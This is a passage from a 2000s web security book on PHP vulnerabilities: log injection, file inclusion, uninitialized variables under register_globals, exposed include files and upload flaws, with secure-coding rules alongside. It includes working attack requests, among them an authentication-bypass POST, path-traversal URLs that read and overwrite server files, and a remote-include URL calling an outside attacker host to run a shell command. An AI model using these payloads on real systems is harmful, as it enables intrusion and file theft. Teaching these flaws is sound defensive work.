 [Wed Sep  1 10:00:05 2004] [error] [client 127.0.0.1] File does not    exist: /usr/local/www/not-existent.html< 

This is because you have to leave the next question mark in the <? PHP tag.

There can be a rare exception when the PHP interpreter is configured so that it can accept other types of tags, for example, <% %> .

Note that the attacker would avoid embedding into log files a PHP code that is too complicated. If the embedded code contained an error, he or she wouldn't be able to delete it. At the same time, the error in the code would make it impossible to use the file for exploitation of the PHP source code injection.

Therefore, the attacker would test, which characters are written into the log file, before he or she embedded PHP code. The attacker would need to check whether the question mark (?), the greater-than (>) and less-than (<) characters, the apostrophe ('), the quotation mark ("), the dollar sign ($), and the blank space are written into log files without substitution. Based on the results of this test, the attacker would write PHP code that didn't contain filtered characters. In addition, he or she would need to create a request to execute it only once.

The methods for embedding PHP code into log files described here aren't universal. However, they demonstrate the danger of the local PHP source code injection vulnerability.

Protection

I hope I have convinced you that the PHP source code injection vulnerability is dangerous. I demonstrated that an attacker almost always can use this vulnerability to exploit the server and obtain higher privileges on it.

Now I will teach you how to protect against this vulnerability. I'll suggest rules that you should stick to when writing code, to avoid potentially dangerous situations.

The vulnerability is based on the use of variables inside the include() construction. Therefore, the following rule will save you from the vulnerability:

Rule 

Never use variables inside the include() construction.

If only constants are used in the include() construction, the vulnerability of this type cannot appear. However, sometimes you still have to use variables inside the include() construction. What should you do?

One solution involves preventing a user from changing the variable used inside the include() construction, for example, with the following:

 <?    $path="/usr/loca/www/include/";    include($path."conf.php");    ?> 

Here are two other examples: a script named conf.inc.php

 <?    $path="/usr/local/www/include/";    ?> 

and a script containing the reference to it:

 <?    include("conf.inc.php");    include($path."func.inc.php");    ?> 

In these last two examples, the value of the $path variable is strictly determined by the moment of using it inside the include() construction.

A common mistake related to the second example is that programmers forget to include the configuration file in some scripts.

If the path determined by the $path variable leads to the directory, in which the script is located, the absence of the include ("conf .inc.php") construction won't cause errors or abnormal behavior of the script. However, the global PHP source code injection vulnerability will take place.

Caution 

A check for the existence of files isn't sufficient protection when you use variables inside the include() construction.

In some cases, it is necessary to include files with the include() function depending on what data were received from the user for example, you have to include a file depending on the $id value received as a GET parameter.

Any of the following solutions can be secure:

 <?    include( ((int)$id) . ".inc.php")    ?> 

or

 <?    If ($id==l) include ("1.inc.php");    If ($id==2) include ("2.inc.php");    If ($id==3) include ("3.inc.php");    ?> 

or

 <?    $file="";    if($id==l) $file="1.inc.php";    if($id==2) $file="1.inc.php";    if($id==3) $file="1.inc.php";    include($file);    ?> 

Note that in the last example the absence of initialization (the $file=""; statement) would be a severe error. In that case, the attacker could send a forged $id value and a desired $file value to execute some malicious code for example, http://test/news/news.php?id=99999&file=/etc/passwd

Therefore, I suggest the following rule:

Rule 

When you use values received from a user inside the include ( ) construction, the values should belong to a set of valid values. The set should be thoroughly defined and should have a logical foundation.

The Lack of Variable Initialization

Consider a few more examples of programming errors in PHP scripts that could allow a remote user to obtain higher privileges in the system.

One common error is the lack of initialization of variables before the first use of them. To be precise, this isn't a vulnerability, and in most cases the attacker cannot benefit from this. However, the lack of initialization can sometimes have dramatic consequences.

The base for all vulnerabilities caused by the use of noninitialized variables is that, with certain settings of the PHP interpreter, the interpreter automatically registers GET , POST , and sometimes COOKIE parameters sent with HTTP requests. So, if the attacker sends a GET or POST parameter to a variable used without initialization, the variable will have a value not foreseen by the programmer but assigned by the attacker. Thus, the malicious user can affect the logic of the script and, sometimes, find holes in protection.

Consider an example: http://localhost/2/9.php . Here is the listing of this script:

 <?     if(!empty($_POST['pass']))     {      if(strtolower(md5($_POST['pass'])) = '098f6bcd4621d373cade4e832627b4f6')                    $admin=l;     }     if($admin==1)     {      echo "Welcome to the system";     }else     {       echo "The password is needed:       <form method=POST>       password:<input type=password name=pass>       <input type=submit value=ok>       </form>";     }    ?> 

Even if the attacker obtains this source code, he or she won't access the protected part of the system because the password is encrypted with the md5 hash function. The attacker could find the password from the hash by trying every possible value, but this would require much time and computational resources.

By examining the source code of the script, the attacker can notice that the $admin variable is used without initialization. The script assumes there is no default value for the $admin variable if it doesn't equal 1. Indeed, in most cases the value of this variable is not defined until the script checks the password. Then the variable is assigned 1 if the password is correct (i.e., if the hash of the submitted password equals the stored hash).

What will happen if the user sends the admin=1 POST parameter in addition to the password? In this case, the attacker just needs to create an HTML page, save it on the disk, open it in the browser window, enter any password, and submit the form by clicking the OK button. The page should be like the following:

 <html>    <body>       <form action=http://localhost/2/9.php method=POST>       password:<input type=password name=pass>       <input type=hidden name=admin value=1>       <input type=submit value=ok>       </form>    </body>    </html> 

The $admin variable will get the value (1) received by a POST parameter. Therefore, regardless of the received password, the $admin variable will equal 1, indicating a successful authorization. This is how an unauthorized user can obtain privileges in a system.

Rather than create and save a special HTML page, the attacker could send the following HTTP request to the server's port 80:

 POST /2/9.php HTTP/1.1    Host: localhost    User-Agent: Mozilla/5.0 (Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707    Accept: */*    Accept-Language: en-us    Accept-Encoding: gzip, deflate    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7    Keep-Alive: 3000    Connection: keep-alive    Referer: http://localhost/2/9.php    Content-Type: application/x-www-form-urlencoded    Content-Length: 24    <empty line>    pass=notpassword&admin=l 

A correct approach to writing a script that uses the $admin flag, indicating whether authorization is successful, should involve initialization of the $admin variable at the beginning of the script. For example, the following script is free from the described error:

 <?     $admin=0;     if(!empty($_POST['pass']))     {      if(strtolower(md5($_POST['pass'])) = '098f6bcd4621d373cade4e832627b4f6')                        $admin=l;     }     if($admin==l)     {      echo "Welcome to the system";     }else     {       echo "The password is needed:       <form method=POST>       password: <input type=password name=pass>       <input type=submit value=ok>       </form>";     }    ?> 

Here, the pass parameter is checked regardless of the other received parameters, and the value of the $admin variable will be set to 1 only when the received password is correct.

Consider another example. This is http://localhost/2/2.php , already familiar to you. Here is its source code:

 <?    if(empty($_GET["id"])  (string)(int)$_GET["id"] <>$_GET["id"] )    {     echo "     <form method=GET action=2.php>     Enter ID: <input type=text name=id>     <input type=submit>     </form>  ";  exit;    }    mysql_connect("localhost", "root", "") ;    mysql_select_db("book1");    $q=mysql_query("select * from test1 where id=$id");    if($r=mysql_fetch_object($q))      echo $r->name;    else echo "Records not found";    ?> 

I have demonstrated that such a protection can be circumvented by simultaneously using the GET and the POST parameters in an HTTP request.

The id GET parameter is filtered. If it isn't an integer, the piece of code that sends the query to the database isn't executed.

If this parameter is an integer, a database connection is established and an SQL query is sent. Note that the value of the $id variable used in this query without filtration is never initialized. In other words, there is no explicit construction like $id=$_GET['id'] ;.

Normally, when a GET request is sent to the script, the variable is initialized with the id GET parameter. This parameter has passed the check for validity, so you could expect that the code is secure. Nevertheless, because there is no explicit initialization, the attacker can find a hole by initializing the $id variable to a malicious value.

For example, as I demonstrated earlier, the attacker can send a POST request with a malicious id parameter. At the same time, the request can contain a valid id GET parameter. An example of this request was given earlier in this chapter.

With certain settings of the PHP interpreter, the $id variable will get the value of the id POST parameter first. The use of such a request will allow the attacker to exploit this vulnerability.

Consider the next example, found in http://localhost/2/10.php:

 <?      $i=$_GET['i'];      if(empty($i)) $i=1;      $a[l]="./data/1.php";      $a[2]="./data/2.htm";      $a[3]="./data/3.htm";      include($a[$_GET['!']]);    ?> 

The idea of this script is that it receives the value of the i GET parameter from the user and selects a file to include and execute it depending on this value. Requests to this script could be the following:

  • http://localhost/2/10.php

  • http://localhost/2/10.php?i=1

  • http://localhost/2/10.php?i=2

  • http://localhost/2/10.php?i=3

The list of valid files is explicitly declared in the $a[] array. The include() construction contains only one array element, so you could expect that only an allowed file would be included and executed. The $i variable is explicitly initialized to the value of the i GET parameter, and each array element is explicitly declared.

However, the array isn't declared. This allows the attacker to suppose that the array can be initialized to other values.

To understand how this can be done, consider another example. Suppose that there are two requests, http://localhost/2/11.php and http://localhost/2/11.php?a[5]=hello.

The text of the script is as follows:

 <?      $a[1]="The first element";      $a[2]="The second element";      $a[3]="The third element";      $a[4]="The fourth element";      echo "<b>Array elements $a:</b><br>\r\n";      foreach($a as $k=>$v)        echo  "$a[$k]=\"$v\"<br>\r\n";    ?> 

As you might expect, the result of the http://localhost/2/11.php request is as follows:

 Array elements $a:    $a[1]="The first element"    $a[2]="The second element"    $a[3]="The third element"    $a[4]="The fourth element" 

All array elements are output.

The result of the http://localhost/2/11.php?a[5]=hello request is as follows:

 Array elements $a:    $a[5]="hello"    $a[1]="The first element"    $a[2]="The second element"    $a[3]="The third element"    $a[4]="The fourth element" 

As you can see, the GET parameter named a[5] became the fifth element of the $a array. This demonstrates that, if the PHP settings allow someone to register received parameters as global variables, the HTTP GET , POST , or COOKIE parameter can create an array element with a correct name.

Return to the previous example. You know that the attacker can add new elements to the $a[] array. Then, he or she can send an index and use it to initialize the array. Here is a request exploiting this vulnerability:

http://localhost/2/10.php?i=4&a[4]=passwd.txt

The script doesn't check whether the i parameter is a valid array index. A script that would perform such a check ( http://localhost/2/12.php ) should be as follows:

 <?      $i=$_GET['i'];      $a[1]="./data/1.php";      $a[2]="./data/2.htm" ;      $a[3]="./data/3.htm";      if(!array_key_exists($i, $a)) =1;      include($a[$i]);    ?> 

However, this check doesn't eliminate the described vulnerability. Here is an example: http://localhost/2/12.php?i=4&a[4]=passwd.txt The added array element already exists by the moment of the check.

So, the best solution is one that declares the values of the $a array only after all previous values in this array are destroyed .

Here is the code of an invulnerable script:

 <?      $i=$_GET['i'];      unset($a);// Destroy $a if it exists      $a[1]="./data/1.php";      $a[2]="./data/2.htm";      $a[3]="./data/3.htm";      if(!array_key_exists($i, $a)) $i=1;      include($a[$i]);    ?> 

To avoid such programming errors, stick to the following rule:

Rule 

All the variables used in scripts and programs should be explicitly initialized before they are used for the first time.

When you receive parameters from a user using HTTP, explicitly specify the method you expect (e.g., $_GET ['a' ], $_POST['b'], or $_COOKIE ['c']). Disable automatic registration of global variables.

Errors in Included Files

Another common mistake is the incorrect use of included files.

PHP is a structured programming language. It allows programmers to put pieces of code into separate files. When doing so, a programmer can make two typical mistakes that can be used by an attacker.

Executing Included Files

Suppose that the programmer separates pieces of code into files with the PHP extension. The following structure is common:

defs.php

 <? // Declaring variables $path="./"; ?> 

connect.inc.php

  <?  // Connecting to a database mysql_connect(..); ?> 

func.inc.php

 <? include($path."connect.inc.php"); // Defining functions ?> 

image from book  index.php

 <? include("defs.php"); include("func.inc.php"); // Some code ?> 

As you can see, the following principles are used:

The image from book  index.php script includes and executes the defs.php script. The defs.php script declares a few variables, in particular, $path. This variable contains the relative path to the included files. In this example, it is the current directory.

Then the func.inc.php script is included and executed. At the beginning of the func.inc.php script, the connect.inc.php script is included and executed using the relative path stored in the $path variable. Remember, the value of this variable was defined earlier in the defs . php script, and in the normal situation this is safe.

The connect.inc.php script connects to a database, and the func.inc.php script defines a few functions.

So, if the attacker changes the external conditions of the image from book  INDEX.PHP script, he or she won't be able to obtain higher privileges in the system or collect additional information.

However, the attacker will notice that the files have the PHP extension and can be executed by the PHP interpreter. Technically, nothing prevents the attacker from requesting any of the included files using HTTP.

The FUNC.INC.PHP script is interesting from the attacker's point of view. What can he or she get by requesting it using HTTP?

There is an interesting line, include ($path. "connect.inc.php"), at the beginning of this file. When the image from book  INDEX.PHP script is requested, the $path variable is defined by the moment of execution of this line. However, when the FUNC.INC.PHP document is requested, the value of this variable isn't defined.

In other words, the variable is used without initialization. In some configurations of the PHP interpreter, this can lead to the PHP source code injection vulnerability.

A request exploiting this vulnerability can be like this:

http://site/func.inc.php?path=http://atacker.ru/cmd.htm?&cmd=ls+-la

Thus, the situation itself isn't a vulnerability. However, even when a programmer isn't going to allow users to execute included files, the scripts can be executed implicitly because their PHP extensions are associated with the PHP interpreter on the server.

The attacker is unlikely to know the names of included files that have holes in protection to request them using HTTP. In addition, he or she is unlikely to know how the holes could be exploited. However, the names of these files are predictable, and the attacker can use a vulnerability scanner that checks the presence of scripts according to a certain database, to obtain the names of internal scripts.

Most likely, the attacker will try to know as many directory names on the server as possible. To do this, he or she will search for the most commonly used directory names, such as /img/ , /images/, /inc/, /include/, /adm/, and /admin/, among others. When detecting a desired directory, he or she can scan its subdirectories.

The analysis of the text of returned HTML pages can give the attacker certain information about the internal directories on the server. The HTML code can contain links to these directories.

Then the attacker is likely to scan every subdirectory for files with certain names. Scanning can be done with a CGI scanner, and the analysis of HTML pages can give additional information.

The HTML code can contain comments and links to other files left by the programmer. This can be also useful for the attacker.

To protect your system against the implicit response of your scripts that can give unforeseen responses to HTTP requests, stick to the following rule:

Rule 

If certain scripts, documents, and programs shouldn't be accessible through HTTP to a remote user, bar this access explicitly.

Consider a few examples demonstrating how you can bar the access to included modules.

The first variant is incorrect. Define a variable in the main script and check its value in an included script.

image from book  main.php

 <? $include="ok"; include("defs.inc.php"); // Code ?> 

defs.inc.php

 <? if($include<>'ok') die("access denied"); // Code ?> 

This solution is vulnerable to the following attack:

http://site/defs.inc.php?include=ok

The vulnerability is present because, in certain configurations of the PHP interpreter, this request causes automatic initialization of the $include variable to the value of the include GET parameter.

Consider another example.

image from book  main.php

  <?  define("Include", 1); include("defs.inc.php"); // Code ?> 

defs.inc.php

 <? if(!defined("Include")) die("access denied"); // Code ?> 

This script uses the fact that the value of a constant in PHP cannot be defined other than by using the define() construction explicitly. If the attacker sends an HTTP request to the included file, the value of the constant won't be defined and the included script won't be executed.

Such a protection against execution of included files is universal because it doesn't depend on the PHP interpreter configuration or on the configuration and even the type of the HTTP server. Many software products, such as forums and portal systems, use this protection. It is rather popular.

However, this protection has one small drawback. It is effective only if the programmer puts appropriate checks into every script. Many popular systems are vulnerable only because one of the included files doesn't check a constant for existence.

You can prohibit access to included files through HTTP using tools of the HTTP server. For example, in Apache you can place the image from book  .htaccess file into the directory with included files with the following contents:

 deny from all 

The attacker won't be able to access included files.

In addition, to restrict access to included files from a certain directory, you can insert a similar construction into the image from book  HTTPD.CONF file, which is Apache's main configuration file.

This method is reliable. However, it has a few drawbacks. In particular, it is server-dependent. In different servers, configuration directives that restrict access to files can be different.

Even if you know that Apache is used, you should have certain permissions in the main configuration file to use the image from book  .htaccess file.

Another method of restricting access to included files involves placing them in a directory outside the DocumentRoot directory.

Such directories aren't accessible using HTTP by definition. However, sometimes a user cannot access such a directory for writing. In addition, configurations of different servers can differ .

Reading Included Files

The vulnerability based on execution of included files takes place because these files often have the PHP extension. As a rule, this extension is associated with the PHP interpreter. In other words, when a file with the PHP extension is requested, the server doesn't return the text of the document to the client but starts the PHP interpreter, which executes the document as a PHP script. Then the server sends the result of execution to the client.

However, the programmer didn't intend it to execute included files separately.

Trying to avoid this situation, programmers often make a common mistake by giving included files extensions that aren't associated with an interpreter.

In particular, included files with the INC extension are common. This extension isn't associated with any interpreter, so an HTTP request to a file with this extension won't entail execution of the file. This guarantees that the attacker won't be able to exploit a vulnerability based on the possibility of executing included files.

However, the situation is still dangerous. Most Web servers, when they fail to find an application associated with a particular extension, return the contents of the file with this extension. As a result, the attacker will read the contents of included files. With the source code of the files, the attacker can find vulnerabilities that are difficult to find otherwise.

In addition, the source code sometimes contains logins and passwords to certain services. For example, a script can contain unencrypted logins and passwords to a database or to certain elements of the Web interface.

To avoid this vulnerability, stick to the following rule:

Rule 

Don't name the files of included scripts so that their contents are available using HTTP. In addition, create protection against execution of these files.

Errors When Uploading Files

Sometimes, it is necessary to allow users to upload their files to the server. This option always presents a potential hole in security.

You should distinguish among three situations:

  • Uploaded files aren't available through HTTP to any user of the system. This is the safest situation.

  • Uploaded files are available only to the user who uploaded them.

  • Uploaded files are available to all users, for example, if a user in the forum up-loaded a logo.

When you provide the users with an interface for uploading their files on the Web server, several dangers can emerge. Most of them aren't related to a particular programming language, and I'm going to describe them later.

However, one common mistake is related to implementation of uploading files in PHP. The mistake is that a file uploaded using HTTP is first put into a temporary directory and then copied to the appropriate directory using a script.

Sometimes, the attacker can forge the values of the sent HTTP POST or GET parameters to make the script copy a target file to a directory where it will be available using HTTP.

Consider the following script, http://localhost/2/13.php (it is available on the accompanying CD-ROM):

 <form enctype="multipart/form-data" method=POST action=13.php>    <input type=hidden name=MAX_FILE_SIZE value=1000>    <input type=hidden name=aaa value=1000>    Send this file: <input name=userfile type=file>    <input type=submit value="Send File">    </form>    <?      if(!empty($userflie))      {         copy($userflie, "./upload/$userfile_name");         echo "<br> <br>         File is uploaded <a href=\"./upload/$userfile_name\">./         upload/$userfile_name</a>";      }    ?> 

There is another vulnerability is this script, but I'll describe it later because it isn't related to PHP.

This script acts as follows: First, it displays a form so that a user can send a file using his or her browser. Then, the received parameters are processed . The author of this script assumes that automatic registration of global variables is enabled in PHP settings.

If the file is uploaded successfully, the following global variables will be passed to the script:

  • $userfile A temporary file name, under which the file is saved on the server

  • $userfile_name The path to the file on the client

  • $userfile_size The size of the uploaded file in bytes

  • $userfile_type The file type (the browser may not send this value)

It is assumed here that the name of the form's control is userfile .

So, if the file was successfully uploaded, the value of the $userfile variable is passed to the script, and the block inside the if construction is executed. This block copies the $userfile file from the temporary directory to the . /UPLOAD/ directory with the file's original name.

What will happen if a user sends an HTTP GET or POST request with artificial values of the userfile , userfile_name , userfile_size , and userfile_type parameters but doesn't send a file? For example, what will happen if a user sends the http://localhost/2/13.php?userfile=./passwd.txt&userfile_name=out.txt request?

In this case, the PHP interpreter will automatically register the global variables $userfile and $userfile_name . Because their values aren't empty, the script will believe the file was uploaded to the temporary directory under the $userfile name. However, the name was forged by the attacker and can belong to any file in the system.

Then, the script copies the file to the upload directory under the $userfile_name name, also forged by the attacker and sent using HTTP. Now it only remains for the attacker to request the file from the upload directory. Thus, he or she will access an internal system file previously unavailable with HTTP. This is how the vulnerability can be exploited to obtain the contents of any file available for reading to the user who started the HTTP server.

For example, the following request copies an executable file to a directory accessible using HTTP, gives the file name the TXT extension, and makes it possible for the attacker to read the file:

http://localhost/2/13.php?userfile=./13.php&userfile_name=13.txt

To exploit this vulnerability, it is required that the uploaded files are available at least to the user who uploaded them.

Try to understand the reason for this vulnerability. The main reason is that a file is copied without a check of whether it is the file received from the user.

PHP offers functions that check whether a file was just uploaded. The move_uploaded_file ( ) function moves an uploaded file to another location. It checks whether the file with the specified name was just uploaded with the HTTP POST method. If this is not the case, the function does nothing and returns FALSE . If the file was just uploaded, the function tries to move it to the specified location. If it succeeds, it returns TRUE ; otherwise, it returns FALSE .

Another function, is_uploaded_file(filename) , returns TRUE if the file with the specified name was just uploaded with the HTTP POST method; it returns FALSE otherwise.

Another dangerous point in this script is the use of automatically registered global variables. Rather, the programmer should use the following variables:

  • $ FILES ['userfile' ] ['name' ] For the original file name on the client

  • $ FILES ['userfile' ] ['type' ] For the file type

  • $ FILES ['userfile' ] ['size'] - For the size of the uploaded file in bytes

  • $FILES ['userfile'] [' tmp_name' ] For the temporary name, under which the file is saved on the server

The following variant of the script is safe from the danger of the attacker reading files:

 <form enctype="multipart/form-data" method=POST action=13.php>    <input type=hidden name=MAX_FILE_SIZE value=1000>    Send this file: <input name=userfile type=file>    <input type=submit value="Send File">    </form>    <?      if(is_uploaded_file($_FILES['userfile']['tmp_name']))      {         copy($_FILES['userfile']['tmp_name'],    "./upload/{$_FILES['userfile']['name']}");         echo "<br> <br>         File upload <a href=\"./upload/{$_FILES['userfile']['name']}\">                        ./upload/{$_FILES['userfile']['name']}</a>";      }    ?> 

Another variant is also safe:

 <form enctype="multipart/form-data" method=POST action=13.php>    <input type=hidden name=MAX_FILE_SIZE value=1000>    <input type=hidden name=aaa value=1000>    Send this file: <input name=userfile type=file>    <input type=submit value="Send File">    </form>    <?      if(move_uploaded_file{$_FILES['userfile']['tmp_name'],                          $_FILES['userfile']['name']))      {       echo "<br> <br>       File upload <a href=\"./upload/{$_FILES['userfile']['name']}\">                    ./upload/{$_FILES['userfile']['name']}</a>";      }    ?> 

I should warn you that even this implementation of uploading the users' files contains a mistake that is described later. In brief, this mistake is that a user can submit any file name.

Secure processing of uploaded files requires that you stick to the following rules:

  • Before you copy a file, make sure it was just uploaded with the HTTP POST method. To do this, use the move_uploaded_file ( ) or the is_uploaded_file ( ) function. If they are unavailable (e.g., if your PHP version is too old), check whether the file is present in the temporary directory. However, this method isn't reliable enough.

  • If the name that the file receives after being moved or copied depends on data received from a user, it should be selected from a predefined set of valid names. The set should be thoroughly specified depending on the task.

  • Don't use automatically registered variables; use the $FILES array.

Consider another variant of exploitation of this vulnerability. This will use the fact that the http://localhost/2/13.php script doesn't filter the value of the $userfile_name variable.

Here, it is assumed that the PHP interpreter automatically registers HTTP GET and POST parameters as global variables. In addition, when files are uploaded using the userfile form control, the PHP interpreter automatically creates certain global variables. In particular, the $userfile variable will contain the path to the newly-uploaded file in the temporary directory.

The $userfile_name variable will contain the name of the file on the user's computer. This name is sent without a path, and the script uses this fact and doesn't try to extract the name from the string with the path. That is, it uses the user's file name without processing.

I demonstrated earlier how the attacker can use the vulnerability in a script allowing a user to send an artificial GET parameter userfile without actually sending the file. As you remember, the attacker can read any file in the system.

However, the attacker can also forge the $userfile_name parameter.

How can he or she benefit from it? The most dangerous thing is that the attacker can include the directory bypassing sequence in the artificial file name. At the same time, the $userfile variable should point to an existing file in the system.

So, if the attacker generates an appropriate HTTP GET request, he or she will be able to copy to any location on the server any file available for reading by the user who started the HTTP server.

The only requirement here is that the file should be available for writing to that user or the target file shouldn't exist while the directory is available for writing to the current user.

Here is a request that copies the image from book  PASSWD.TXT file to the current directory under the TEMP.TXT name:

http://localhost/2/13.php?userfile=./passwd.txt&userfile_name=./../temp.txt

If the attacker wants to write data into a file or to rewrite a file with the desired contents, he or she will save the desired file in the upload directory under any name. Then, he or she will copy this file to the desired location by exploiting the described vulnerability.

Suppose that the attacker wants to overwrite the image from book  PASSWD.TXT file with a file containing some malicious data. He or she will create a file, say, TEST.JPG, on the local computer. Note that regardless of the JPG extension this is a text file, rather than an image. Substituting the extension will help the attacker to circumvent possible filtration.

So, the attacker uploads the file with the desired contents to the server. Let the file be uploaded to the . /UPLOAD/TEST. JPG location.

A request that will rewrite the contents of image from book  PASSWD.TXT can look like this:

http://localhost/2/13.php?userfile=./upload/test.jpg&userfile_name=./../passwd.txt

Therefore, you shouldn't neglect protection in this case. Improper programming can entail consequences destructive to the system. The attacker will obtain the ability to do anything he or she likes with the files on the server available to the user who started the HTTP server.

This section described only mistakes related to the features of the PHP interpreter. However, some types of errors cannot be related to a particular programming language, and I'm going to describing them later.

The rules for securely programming the system components responsible for uploading files on the server were given earlier.



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net